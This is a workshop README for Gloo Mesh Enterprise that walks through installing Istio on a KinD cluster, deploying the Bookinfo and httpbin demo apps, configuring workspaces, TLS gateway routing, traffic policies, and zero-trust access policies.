Skip to content

Latest commit

 

History

History
2855 lines (2386 loc) · 95.1 KB

File metadata and controls

2855 lines (2386 loc) · 95.1 KB

Gloo Mesh Enterprise

Gloo Mesh Workshop

Table of Contents

Introduction

Gloo Mesh Enterprise is a management plane which makes it easy to operate Istio on one or many Kubernetes clusters deployed anywhere (any platform, anywhere).

Istio support

The Gloo Mesh Enterprise subscription includes end to end Istio support:

  • Upstream first
  • Specialty builds available (FIPS, ARM, etc)
  • Long Term Support (LTS) N-4
  • Critical security patches
  • Production break-fix
  • One hour SLA Severity 1
  • Install / upgrade
  • Architecture and operational guidance, best practices

Gloo Mesh overview

Gloo Mesh provides many unique features, including:

  • multi-tenancy based on global workspaces
  • zero trust enforcement
  • global observability (centralized metrics and access logging)
  • simplified cross cluster communications (using virtual destinations)
  • advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...)

Gloo Mesh graph

Want to learn more about Gloo Mesh

You can find more information about Gloo Mesh in the official documentation:

https://docs.solo.io/gloo-mesh/latest/

Lab 1 - Deploy a KinD cluster

Clone this repository and go to the directory where this README.md file is.

Set the context environment variables:

export MGMT=cluster1
export CLUSTER1=cluster1

Run the following commands to deploy a Kubernetes cluster using Kind:

./scripts/deploy.sh 1 cluster1 us-west us-west-1

Then run the following commands to wait for all the Pods to be ready:

./scripts/check.sh cluster1

Note: If you run the check.sh script immediately after the deploy.sh script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again.

Once the check.sh script completes, when you execute the kubectl get pods -A command, you should see the following:

NAMESPACE            NAME                                          READY   STATUS    RESTARTS   AGE
kube-system          calico-kube-controllers-59d85c5c84-sbk4k      1/1     Running   0          4h26m
kube-system          calico-node-przxs                             1/1     Running   0          4h26m
kube-system          coredns-6955765f44-ln8f5                      1/1     Running   0          4h26m
kube-system          coredns-6955765f44-s7xxx                      1/1     Running   0          4h26m
kube-system          etcd-cluster1-control-plane                   1/1     Running   0          4h27m
kube-system          kube-apiserver-cluster1-control-plane         1/1     Running   0          4h27m
kube-system          kube-controller-manager-cluster1-control-plane1/1     Running   0          4h27m
kube-system          kube-proxy-ksvzw                              1/1     Running   0          4h26m
kube-system          kube-scheduler-cluster1-control-plane         1/1     Running   0          4h27m
local-path-storage   local-path-provisioner-58f6947c7-lfmdx        1/1     Running   0          4h26m
metallb-system       controller-5c9894b5cd-cn9x2                   1/1     Running   0          4h26m
metallb-system       speaker-d7jkp                                 1/1     Running   0          4h26m

Lab 2 - Deploy and register Gloo Mesh

First of all, let's install the meshctl CLI:

export GLOO_MESH_VERSION=v2.2.6
curl -sL https://run.solo.io/meshctl/install | sh -
export PATH=$HOME/.gloo-mesh/bin:$PATH

Run the following commands to deploy the Gloo Mesh management plane:

helm repo add gloo-mesh-enterprise https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-enterprise 
helm repo update
kubectl --context ${MGMT} create ns gloo-mesh 
helm upgrade --install gloo-mesh-enterprise gloo-mesh-enterprise/gloo-mesh-enterprise \
--namespace gloo-mesh --kube-context ${MGMT} \
--version=2.2.6 \
--set glooMeshMgmtServer.ports.healthcheck=8091 \
--set legacyMetricsPipeline.enabled=false \
--set metricsgateway.enabled=true \
--set metricsgateway.service.type=LoadBalancer \
--set glooMeshUi.serviceType=LoadBalancer \
--set mgmtClusterName=${MGMT} \
--set global.cluster=${MGMT} \
--set licenseKey=${GLOO_MESH_LICENSE_KEY}
kubectl --context ${MGMT} -n gloo-mesh rollout status deploy/gloo-mesh-mgmt-server

Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane:

export ENDPOINT_GLOO_MESH=gloo-mesh-mgmt-server:9900
export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH} | cut -d: -f1)
export ENDPOINT_METRICS_GATEWAY=gloo-metrics-gateway:4317

Check that the variables have correct values:

echo $HOST_GLOO_MESH
echo $ENDPOINT_GLOO_MESH

Finally, you need to register the cluster(s).

Here is how you register the first one:

helm repo add gloo-mesh-agent https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-agent
helm repo update

kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: KubernetesCluster
metadata:
  name: cluster1
  namespace: gloo-mesh
spec:
  clusterDomain: cluster.local
EOF

kubectl --context ${CLUSTER1} create ns gloo-mesh

helm upgrade --install gloo-mesh-agent gloo-mesh-agent/gloo-mesh-agent \
  --namespace gloo-mesh \
  --kube-context=${CLUSTER1} \
  --set relay.serverAddress=${ENDPOINT_GLOO_MESH} \
  --set relay.authority=gloo-mesh-mgmt-server.gloo-mesh \
  --set rate-limiter.enabled=false \
  --set ext-auth-service.enabled=false \
  --set glooMeshPortalServer.enabled=false \
  --set cluster=cluster1 \
  --set metricscollector.enabled=true \
  --set metricscollector.config.exporters.otlp.endpoint=\"${ENDPOINT_METRICS_GATEWAY}\" \
  --version 2.2.6

Note that the registration can also be performed using meshctl cluster register.

You can check the cluster(s) have been registered correctly using the following commands:

meshctl --kubecontext ${MGMT} check
pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/metrics | grep relay_push_clients_connected

You should get an output similar to this:

# HELP relay_push_clients_connected Current number of connected Relay push clients (Relay Agents).
# TYPE relay_push_clients_connected gauge
relay_push_clients_connected{cluster="cluster1"} 1

Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager

We are going to deploy Istio using Gloo Mesh Lifecycle Manager.

First of all, let's create Kubernetes services for the gateways:

registry=localhost:5000
kubectl --context ${CLUSTER1} create ns istio-gateways
kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-17 --overwrite

cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: v1
kind: Service
metadata:
  labels:
    app: istio-ingressgateway
    istio: ingressgateway
  name: istio-ingressgateway
  namespace: istio-gateways
spec:
  ports:
  - name: http2
    port: 80
    protocol: TCP
    targetPort: 8080
  - name: https
    port: 443
    protocol: TCP
    targetPort: 8443
  selector:
    app: istio-ingressgateway
    istio: ingressgateway
    revision: 1-17
  type: LoadBalancer

EOF

It allows us to have full control on which Istio revision we want to use.

Then, we can tell Gloo Mesh to deploy the Istio control planes and the gateways in the cluster(s)

cat << EOF | kubectl --context ${MGMT} apply -f -

apiVersion: admin.gloo.solo.io/v2
kind: IstioLifecycleManager
metadata:
  name: cluster1-installation
  namespace: gloo-mesh
spec:
  installations:
    - clusters:
      - name: cluster1
        defaultRevision: true
      revision: 1-17
      istioOperatorSpec:
        profile: minimal
        hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
        tag: 1.17.1-solo
        namespace: istio-system
        values:
          global:
            meshID: mesh1
            multiCluster:
              clusterName: cluster1
            network: cluster1
        meshConfig:
          accessLogFile: /dev/stdout
          defaultConfig:        
            proxyMetadata:
              ISTIO_META_DNS_CAPTURE: "true"
              ISTIO_META_DNS_AUTO_ALLOCATE: "true"
        components:
          pilot:
            k8s:
              env:
                - name: PILOT_ENABLE_K8S_SELECT_WORKLOAD_ENTRIES
                  value: "false"
          ingressGateways:
          - name: istio-ingressgateway
            enabled: false

EOF
cat << EOF | kubectl --context ${MGMT} apply -f -

apiVersion: admin.gloo.solo.io/v2
kind: GatewayLifecycleManager
metadata:
  name: cluster1-ingress
  namespace: gloo-mesh
spec:
  installations:
    - clusters:
      - name: cluster1
        activeGateway: false
      gatewayRevision: 1-17
      istioOperatorSpec:
        profile: empty
        hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
        tag: 1.17.1-solo
        values:
          gateways:
            istio-ingressgateway:
              customService: true
        components:
          ingressGateways:
            - name: istio-ingressgateway
              namespace: istio-gateways
              enabled: true
              label:
                istio: ingressgateway
---
apiVersion: admin.gloo.solo.io/v2
kind: GatewayLifecycleManager
metadata:
  name: cluster1-eastwest
  namespace: gloo-mesh
spec:
  installations:
    - clusters:
      - name: cluster1
        activeGateway: false
      gatewayRevision: 1-17
      istioOperatorSpec:
        profile: empty
        hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
        tag: 1.17.1-solo
        values:
          gateways:
            istio-ingressgateway:
              customService: true
        components:
          ingressGateways:
            - name: istio-eastwestgateway
              namespace: istio-gateways
              enabled: true
              label:
                istio: eastwestgateway
                topology.istio.io/network: cluster1
              k8s:
                env:
                  - name: ISTIO_META_ROUTER_MODE
                    value: "sni-dnat"
                  - name: ISTIO_META_REQUESTED_NETWORK_VIEW
                    value: cluster1

EOF

Set the environment variable for the service corresponding to the Istio Ingress Gateway of the cluster(s):

export ENDPOINT_HTTP_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}'):80
export ENDPOINT_HTTPS_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}'):443
export HOST_GW_CLUSTER1=$(echo ${ENDPOINT_HTTP_GW_CLUSTER1} | cut -d: -f1)

Lab 4 - Deploy the Bookinfo demo app

We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh.

You can find more information about this application here.

Run the following commands to deploy the bookinfo application on cluster1:

curl https://raw.githubusercontent.com/istio/istio/release-1.16/samples/bookinfo/platform/kube/bookinfo.yaml > bookinfo.yaml

kubectl --context ${CLUSTER1} create ns bookinfo-frontends
kubectl --context ${CLUSTER1} create ns bookinfo-backends
kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-17 --overwrite
kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-17 --overwrite

# deploy the frontend bookinfo service in the bookinfo-frontends namespace
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'account in (productpage)'
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'app in (productpage)'
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'account in (reviews,ratings,details)'
# deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'app in (reviews,ratings,details),version notin (v3)'
# Update the productpage deployment to set the environment variables to define where the backend services are running
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 DETAILS_HOSTNAME=details.bookinfo-backends.svc.cluster.local
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 REVIEWS_HOSTNAME=reviews.bookinfo-backends.svc.cluster.local
# Update the reviews service to display where it is coming from
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1}
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1}

You can check that the app is running using the following command:

kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods

Note that we deployed the productpage service in the bookinfo-frontends namespace and the other services in the bookinfo-backends namespace.

And we deployed the v1 and v2 versions of the reviews microservice, not the v3 version.

Lab 5 - Deploy the httpbin demo app

We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh.

You can find more information about this application here.

Run the following commands to deploy the httpbin app on cluster1. The deployment will be called not-in-mesh and won't have the sidecar injected (because we don't label the namespace).

kubectl --context ${CLUSTER1} create ns httpbin
kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: not-in-mesh
---
apiVersion: v1
kind: Service
metadata:
  name: not-in-mesh
  labels:
    app: not-in-mesh
    service: not-in-mesh
spec:
  ports:
  - name: http
    port: 8000
    targetPort: 80
  selector:
    app: not-in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: not-in-mesh
spec:
  replicas: 1
  selector:
    matchLabels:
      app: not-in-mesh
      version: v1
  template:
    metadata:
      labels:
        app: not-in-mesh
        version: v1
    spec:
      serviceAccountName: not-in-mesh
      containers:
      - image: docker.io/kennethreitz/httpbin
        imagePullPolicy: IfNotPresent
        name: not-in-mesh
        ports:
        - containerPort: 80
EOF

Then, we deploy a second version, which will be called in-mesh and will have the sidecar injected (because of the label istio.io/rev in the Pod template).

kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: in-mesh
---
apiVersion: v1
kind: Service
metadata:
  name: in-mesh
  labels:
    app: in-mesh
    service: in-mesh
spec:
  ports:
  - name: http
    port: 8000
    targetPort: 80
  selector:
    app: in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: in-mesh
spec:
  replicas: 1
  selector:
    matchLabels:
      app: in-mesh
      version: v1
  template:
    metadata:
      labels:
        app: in-mesh
        version: v1
        istio.io/rev: 1-17
    spec:
      serviceAccountName: in-mesh
      containers:
      - image: docker.io/kennethreitz/httpbin
        imagePullPolicy: IfNotPresent
        name: in-mesh
        ports:
        - containerPort: 80
EOF

You can follow the progress using the following command:

kubectl --context ${CLUSTER1} -n httpbin get pods
NAME                           READY   STATUS    RESTARTS   AGE
in-mesh-5d9d9549b5-qrdgd       2/2     Running   0          11s
not-in-mesh-5c64bb49cd-m9kwm   1/1     Running   0          11s

Lab 6 - Deploy Gloo Mesh Addons

To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons.

First, you need to create a namespace for the addons, with Istio injection enabled:

kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons
kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-17 --overwrite

Then, you can deploy the addons on the cluster(s) using Helm:

helm upgrade --install gloo-mesh-agent-addons gloo-mesh-agent/gloo-mesh-agent \
  --namespace gloo-mesh-addons \
  --kube-context=${CLUSTER1} \
  --set cluster=cluster1 \
  --set glooMeshAgent.enabled=false \
  --set glooMeshPortalServer.enabled=true \
  --set rate-limiter.enabled=true \
  --set ext-auth-service.enabled=true \
  --version 2.2.6

This is how to environment looks like now:

Gloo Mesh Workshop Environment

Lab 7 - Create the gateways workspace

We're going to create a workspace for the team in charge of the Gateways.

The platform team needs to create the corresponding Workspace Kubernetes objects in the Gloo Mesh management cluster.

Let's create the gateways workspace which corresponds to the istio-gateways and the gloo-mesh-addons namespaces on the cluster(s):

kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
  name: gateways
  namespace: gloo-mesh
spec:
  workloadClusters:
  - name: cluster1
    namespaces:
    - name: istio-gateways
    - name: gloo-mesh-addons
EOF

Then, the Gateway team creates a WorkspaceSettings Kubernetes object in one of the namespaces of the gateways workspace (so the istio-gateways or the gloo-mesh-addons namespace):

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: gateways
  namespace: istio-gateways
spec:
  importFrom:
  - workspaces:
    - selector:
        allow_ingress: "true"
    resources:
    - kind: SERVICE
    - kind: ALL
      labels:
        expose: "true"
  exportTo:
  - workspaces:
    - selector:
        allow_ingress: "true"
    resources:
    - kind: SERVICE
EOF

The Gateway team has decided to import the following from the workspaces that have the label allow_ingress set to true (using a selector):

  • all the Kubernetes services exported by these workspaces
  • all the resources (RouteTables, VirtualDestination, ...) exported by these workspaces that have the label expose set to true

Lab 8 - Create the bookinfo workspace

We're going to create a workspace for the team in charge of the Bookinfo application.

The platform team needs to create the corresponding Workspace Kubernetes objects in the Gloo Mesh management cluster.

Let's create the bookinfo workspace which corresponds to the bookinfo-frontends and bookinfo-backends namespaces on the cluster(s):

kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
  name: bookinfo
  namespace: gloo-mesh
  labels:
    allow_ingress: "true"
spec:
  workloadClusters:
  - name: cluster1
    namespaces:
    - name: bookinfo-frontends
    - name: bookinfo-backends
EOF

Then, the Bookinfo team creates a WorkspaceSettings Kubernetes object in one of the namespaces of the bookinfo workspace (so the bookinfo-frontends or the bookinfo-backends namespace):

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: bookinfo
  namespace: bookinfo-frontends
spec:
  importFrom:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
  exportTo:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
      labels:
        app: productpage
    - kind: SERVICE
      labels:
        app: reviews
    - kind: ALL
      labels:
        expose: "true"
EOF

The Bookinfo team has decided to export the following to the gateway workspace (using a reference):

  • the productpage and the reviews Kubernetes services
  • all the resources (RouteTables, VirtualDestination, ...) that have the label expose set to true

This is how the environment looks like with the workspaces:

Gloo Mesh Workspaces

Lab 9 - Expose the productpage through a gateway

In this step, we're going to expose the productpage service through the Ingress Gateway using Gloo Mesh.

The Gateway team must create a VirtualGateway to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests.

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
  name: north-south-gw
  namespace: istio-gateways
spec:
  workloads:
    - selector:
        labels:
          istio: ingressgateway
        cluster: cluster1
  listeners: 
    - http: {}
      port:
        number: 80
      allowedRouteTables:
        - host: '*'
EOF

Then, the Gateway team should create a parent RouteTable to configure the main routing.

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: main
  namespace: istio-gateways
spec:
  hosts:
    - '*'
  virtualGateways:
    - name: north-south-gw
      namespace: istio-gateways
      cluster: cluster1
  workloadSelectors: []
  http:
    - name: root
      matchers:
      - uri:
          prefix: /
      delegate:
        routeTables:
          - labels:
              expose: "true"
EOF

In this example, you can see that the Gateway team is delegating the routing details to the bookinfo and httpbin workspaces. The teams in charge of these workspaces can expose their services through the gateway.

The Gateway team can use this main RouteTable to enforce a global WAF policy, but also to have control on which hostnames and paths can be used by each application team.

Then, the Bookinfo team can create a RouteTable to determine how they want to handle the traffic.

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: productpage
  namespace: bookinfo-frontends
  labels:
    expose: "true"
spec:
  http:
    - name: productpage
      matchers:
      - uri:
          exact: /productpage
      - uri:
          prefix: /static
      - uri:
          exact: /login
      - uri:
          exact: /logout
      - uri:
          prefix: /api/v1/products
      forwardTo:
        destinations:
          - ref:
              name: productpage
              namespace: bookinfo-frontends
            port:
              number: 9080
EOF

You should now be able to access the productpage application through the browser.

Get the URL to access the productpage service using the following command:

echo "http://${ENDPOINT_HTTP_GW_CLUSTER1}/productpage"

Gloo Mesh translates the VirtualGateway and RouteTable into the corresponding Istio objects (Gateway and VirtualService).

Now, let's secure the access through TLS.

Let's first create a private key and a self-signed certificate:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
   -keyout tls.key -out tls.crt -subj "/CN=*"

Then, you have to store them in a Kubernetes secrets running the following commands:

kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \
--from-file=tls.key=tls.key \
--from-file=tls.crt=tls.crt

Finally, the Gateway team needs to update the VirtualGateway to use this secret:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
  name: north-south-gw
  namespace: istio-gateways
spec:
  workloads:
    - selector:
        labels:
          istio: ingressgateway
        cluster: cluster1
  listeners: 
    - http: {}
      port:
        number: 80
# ---------------- Redirect to https --------------------
      httpsRedirect: true
# -------------------------------------------------------
    - http: {}
# ---------------- SSL config ---------------------------
      port:
        number: 443
      tls:
        mode: SIMPLE
        secretName: tls-secret
# -------------------------------------------------------
      allowedRouteTables:
        - host: '*'
EOF

You can now access the productpage application securely through the browser. Get the URL to access the productpage service using the following command:

echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/productpage"

This diagram shows the flow of the request (through the Istio Ingress Gateway):

Gloo Mesh Gateway

Lab 10 - Traffic policies

We're going to use Gloo Mesh policies to inject faults and configure timeouts.

Let's create the following FaultInjectionPolicy to inject a delay when the v2 version of the reviews service talk to the ratings service:

cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: FaultInjectionPolicy
metadata:
  name: ratings-fault-injection
  namespace: bookinfo-backends
spec:
  applyToRoutes:
  - route:
      labels:
        fault_injection: "true"
  config:
    delay:
      fixedDelay: 2s
      percentage: 100
EOF

As you can see, it will be applied to all the routes that have the label fault_injection set to "true".

So, you need to create a RouteTable with this label set in the corresponding route.

cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: ratings
  namespace: bookinfo-backends
spec:
  hosts:
    - 'ratings.bookinfo-backends.svc.cluster.local'
  workloadSelectors:
  - selector:
      labels:
        app: reviews
  http:
    - name: ratings
      labels:
        fault_injection: "true"
      matchers:
      - uri:
          prefix: /
      forwardTo:
        destinations:
          - ref:
              name: ratings
              namespace: bookinfo-backends
            port:
              number: 9080
EOF

If you refresh the webpage, you should see that it takes longer to get the productpage loaded when version v2 of the reviews services is called.

Now, let's configure a 0.5s request timeout when the productpage service calls the reviews service on cluster1.

You need to create the following RetryTimeoutPolicy:

cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: RetryTimeoutPolicy
metadata:
  name: reviews-request-timeout
  namespace: bookinfo-backends
spec:
  applyToRoutes:
  - route:
      labels:
        request_timeout: "0.5s"
  config:
    requestTimeout: 0.5s
EOF

As you can see, it will be applied to all the routes that have the label request_timeout set to "0.5s".

Then, you need to create a RouteTable with this label set in the corresponding route.

cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: reviews
  namespace: bookinfo-backends
spec:
  hosts:
    - 'reviews.bookinfo-backends.svc.cluster.local'
  workloadSelectors:
  - selector:
      labels:
        app: productpage
  http:
    - name: reviews
      labels:
        request_timeout: "0.5s"
      matchers:
      - uri:
          prefix: /
      forwardTo:
        destinations:
          - ref:
              name: reviews
              namespace: bookinfo-backends
            port:
              number: 9080
            subset:
              version: v2
EOF

If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version v2 of the reviews service.

Bookinfo reviews unavailable

This diagram shows where the timeout and delay have been applied:

Gloo Mesh Traffic Policies

Let's delete the Gloo Mesh objects we've created:

kubectl --context ${CLUSTER1} -n bookinfo-backends delete faultinjectionpolicy ratings-fault-injection
kubectl --context ${CLUSTER1} -n bookinfo-backends delete routetable ratings
kubectl --context ${CLUSTER1} -n bookinfo-backends delete retrytimeoutpolicy reviews-request-timeout
kubectl --context ${CLUSTER1} -n bookinfo-backends delete routetable reviews

Lab 11 - Zero trust

In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain.

All the communications between Pods in the mesh are now encrypted by default, but:

  • communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted
  • all the services can talk together

Let's validate this.

Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh:

pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0

You should get a 200 response code which confirm that the communication is currently allowed.

Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh:

pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0

You should get a 200 response code again.

To enfore a zero trust policy, it shouldn't be the case.

We'll leverage the Gloo Mesh workspaces to get to a state where:

  • communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore
  • communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules.

The Bookinfo team must update its WorkspaceSettings Kubernetes object to enable service isolation.

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: bookinfo
  namespace: bookinfo-frontends
spec:
  importFrom:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
  exportTo:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
      labels:
        app: productpage
    - kind: SERVICE
      labels:
        app: reviews
    - kind: ALL
      labels:
        expose: "true"
  options:
    serviceIsolation:
      enabled: true
      trimProxyConfig: true
EOF

When service isolation is enabled, Gloo Mesh creates the corresponding Istio AuthorizationPolicy and PeerAuthentication objects to enforce zero trust.

When trimProxyConfig is set to true, Gloo Mesh also creates the corresponding Istio Sidecar objects to program the sidecar proxies to only know how to talk to the authorized services.

If you refresh the browser, you'll see that the bookinfo application is still exposed and working correctly.

Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh:

pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0

You should get a 000 response code which means that the communication can't be established.

Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh:

pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0

You should get a 403 response code which means that the sidecar proxy of the reviews service doesn't allow the request.

You've see seen how Gloo Platform can help you to enforce a zero trust policy (at workspace level) with nearly no effort.

Now we are going to define some additional policies to achieve zero trust at service level.

We are going to define AccessPolicies from the point of view of a service producers.

I am owner of service A, which services needs to communicate with me?

Gloo Mesh Gateway

Productpage app is the only service which is exposed to the internet, so we will create an AccessPolicy to allow the Istio Ingress Gateway to forward requests to the productpage service.

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: AccessPolicy
metadata:
  name: frontend-api-access
  namespace: bookinfo-frontends
spec:
  applyToDestinations:
  - selector:
      labels:
        app: productpage
  config:
    authz:
      allowedClients:
      - serviceAccountSelector:
          name: istio-ingressgateway-1-17-service-account
          namespace: istio-gateways
      - serviceAccountSelector:
          name: istio-eastwestgateway-1-17-service-account
          namespace: istio-gateways
      - serviceAccountSelector:
          name: ext-auth-service
          namespace: gloo-mesh-addons
      - serviceAccountSelector:
          name: rate-limiter
          namespace: gloo-mesh-addons
EOF

Details and reviews are both used by the productpage service, so we will create an AccessPolicy to allow the productpage service to forward requests to the details and reviews services.

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: AccessPolicy
metadata:
  name: allow-details-reviews
  namespace: bookinfo-frontends
spec:
  applyToDestinations:
  - selector:
      labels:
        app: details
  - selector:
      labels:
        app: reviews
  config:
    authz:
      allowedClients:
      - serviceAccountSelector:
          name: bookinfo-productpage
EOF

Finally, we will create an AccessPolicy to allow the reviews service to forward requests to the ratings service.

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: AccessPolicy
metadata:
  name: allow-ratings
  namespace: bookinfo-frontends
spec:
  applyToDestinations:
  - selector:
      labels:
        app: ratings
  config:
    authz:
      allowedClients:
      - serviceAccountSelector:
          name: bookinfo-reviews
EOF

Let's check that requests from productpage are denied/allowed properly:

pod=$(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}')
echo "From productpage to details, should be allowed"
kubectl --context ${CLUSTER1} -n bookinfo-frontends debug -i -q ${pod} --image=curlimages/curl -- curl -s http://details.bookinfo-backends:9080/details/0 | jq

echo "From productpage to reviews, should be allowed"
kubectl --context ${CLUSTER1} -n bookinfo-frontends debug -i -q ${pod} --image=curlimages/curl -- curl -s http://reviews.bookinfo-backends:9080/reviews/0 | jq

echo "From productpage to ratings, should be denied"
kubectl --context ${CLUSTER1} -n bookinfo-frontends debug -i -q ${pod} --image=curlimages/curl -- curl -s http://ratings.bookinfo-backends:9080/ratings/0 -i

You should get a 403 response code which means that the sidecar proxy of the reviews service doesn't allow the request.

HTTP/1.1 403 Forbidden
content-length: 19
content-type: text/plain
server: envoy
x-envoy-upstream-service-time: 18

RBAC: access denied

Let's rollback the change we've made in the WorkspaceSettings object:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: bookinfo
  namespace: bookinfo-frontends
spec:
  importFrom:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
  exportTo:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
      labels:
        app: productpage
    - kind: SERVICE
      labels:
        app: reviews
    - kind: ALL
      labels:
        expose: "true"
EOF

and delete the AccessPolicies:

kubectl --context ${CLUSTER1} delete accesspolicies -n bookinfo-frontends --all

